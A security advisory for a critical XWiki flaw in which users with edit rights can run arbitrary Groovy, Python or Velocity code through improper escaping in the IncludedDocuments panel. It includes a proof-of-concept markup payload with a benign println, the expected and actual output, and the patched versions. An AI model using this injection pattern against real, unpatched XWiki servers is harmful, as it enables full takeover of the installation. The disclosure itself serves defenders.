Any user with edit rights can execute arbitrary Groovy, Python or Velocity code in XWiki leading to full access to the XWiki installation. The root cause is improper escaping of the included pages in the IncludedDocuments panel.
Precondition: As an admin, add the Panels.IncludedDocuments
panel on one column.
A proof of concept exploit is to edit a document and add the following code before saving.
{{display reference="{{cache~}~}{{groovy~}~}println(~"Hello from Groovy~" + ~" in included document!~"){{/groovy~}~}{{/cache~}~}"/}}
expected The right had side panels contain:
One included page:
{{cache}}{{groovy}}println("Hello from Groovy" + " in included document!"){{/groovy}}{{/cache}}
actual The right had side panels contain:
One included page:
XWiki.Hello from Groovy in included document!
The problem has been patched on XWiki 14.4.7, and 14.10.
The issue can be fixed manually applying this patch.
If you have any questions or comments about this advisory:
{ "nvd_published_at": "2023-04-16T07:15:00Z", "github_reviewed_at": "2023-04-12T20:35:50Z", "severity": "CRITICAL", "github_reviewed": true, "cwe_ids": [ "CWE-94", "CWE-95" ] }